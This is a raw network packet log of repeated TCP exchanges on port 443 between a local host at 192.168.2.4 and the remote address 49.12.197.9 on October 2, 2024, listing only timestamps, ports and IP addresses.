Oct 2, 2024 05:19:38.887676001 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.887691021 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.887756109 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.887763023 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.887803078 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.912374020 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.912386894 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.912482977 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.912488937 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.912539005 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.938755989 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.938770056 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.938827038 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.938839912 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.938868046 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.938882113 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.950964928 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.950983047 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.951066017 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.951076984 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.951119900 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.959989071 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.960005045 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.960091114 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.960098982 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.960146904 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.976881981 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.976902008 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.976973057 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.976984024 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.977026939 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.991245031 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.991259098 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.991345882 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.991350889 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.991403103 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.007915974 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.007934093 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.008017063 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.008022070 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.008065939 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.023940086 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.023952007 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.024012089 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.024018049 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.024040937 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.024055004 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.038618088 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.038631916 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.038691044 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.038697004 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.038738966 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.049623966 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.049637079 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.049695015 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.049700022 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.049737930 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.055748940 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.055787086 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.055814028 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.055819988 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.055835009 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.055849075 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.055875063 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.056122065 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.056135893 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.057032108 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.057066917 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.057133913 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.057408094 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.057425022 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.724900007 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.724972963 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.725451946 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.725460052 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:39.727132082 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:39.727137089 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.150268078 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.150290012 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.150302887 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.150459051 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.150476933 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.150538921 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.181437969 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.181463957 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.181552887 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.181561947 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.181603909 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.246526003 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.246589899 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.246634007 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.246643066 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.246675968 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.246694088 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.275041103 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.275055885 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.275111914 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.275119066 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.275166035 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.309144974 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.309196949 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.309206963 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.309214115 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.309225082 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.309242010 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.309267044 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.309488058 CEST	49755	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.309499025 CEST	443	49755	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.310262918 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.310301065 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.310368061 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.310565948 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.310580969 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.975301981 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.975373030 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.975769997 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.975780964 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:40.977384090 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:40.977387905 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.407670021 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.407701969 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.407721043 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.407728910 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.407747984 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.407756090 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.407805920 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.438904047 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.438925028 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.439002037 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.439012051 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.439060926 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.505692959 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.505717039 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.505752087 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.505759954 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.505779982 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.505795956 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.535742998 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.535758972 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.535831928 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.535840034 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.535881042 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.573605061 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.573621988 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.573685884 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.573693991 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.573736906 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.604109049 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.604127884 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.604193926 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.604202986 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.604243040 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.623074055 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.623092890 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.623281002 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.623287916 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.623332024 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.640875101 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.640889883 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.641050100 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.641057968 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.641103983 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.658399105 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.658420086 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.658488989 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.658495903 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.658535957 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.672971010 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.672988892 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.673142910 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.673151016 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.673192978 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.689992905 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.690013885 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.690083027 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.690089941 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.690135002 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.703552961 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.703569889 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.703646898 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.703653097 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.703691959 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.718898058 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.718916893 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.718987942 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.718995094 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.719038010 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.730808020 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.730824947 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.730885029 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.730891943 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.730933905 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.739196062 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.739214897 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.739278078 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.739284992 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.739317894 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.739327908 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.748955011 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.748972893 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.749042988 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.749048948 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.749094963 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.757862091 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.757879019 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.757956982 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.757962942 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.758008957 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.764750004 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.764767885 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.764822960 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.764830112 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.764870882 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.775799990 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.775818110 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.775876999 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.775883913 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.775924921 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.794585943 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.794603109 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.794667959 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.794678926 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.794718027 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.810007095 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.810023069 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.810102940 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.810108900 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.810152054 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.821954012 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.821970940 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.822037935 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.822046041 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.822084904 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.830193043 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.830214977 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.830265999 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.830272913 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.830316067 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.839828014 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.839845896 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.839900970 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.839907885 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.839947939 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.847306967 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.847326040 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.847388983 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.847393990 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.847431898 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.855676889 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.855696917 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.855742931 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.855750084 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.855787992 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.866385937 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.866405010 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.866457939 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.866465092 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.866503000 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.885525942 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.885545015 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.885598898 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.885606050 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.885644913 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.900928974 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.900944948 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.901103020 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.901109934 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.901151896 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.912923098 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.912940025 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.912996054 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.913002014 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.913043022 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.930006981 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.930030107 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.930087090 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.930094004 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.930126905 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.930150986 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.932225943 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.932240009 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.932281971 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.932286978 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.932306051 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.932317019 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.938349009 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.938361883 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.938456059 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.938467979 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.938505888 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.946691990 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.946703911 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.946743965 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.946749926 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.946763039 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.946783066 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.957423925 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.957437992 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.957483053 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.957489967 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.957514048 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.957526922 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.976489067 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.976505995 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.976586103 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.976593018 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.976620913 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.976639032 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.991960049 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.991974115 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.992024899 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.992032051 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:41.992052078 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:41.992070913 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.003968954 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.003990889 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.004071951 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.004079103 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.004117966 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.012845993 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.012867928 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.012922049 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.012928963 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.012972116 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.023423910 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.023438931 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.023488998 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.023494959 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.023536921 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.029612064 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.029627085 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.029676914 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.029683113 CEST	443	49756	49.12.197.9	192.168.2.4
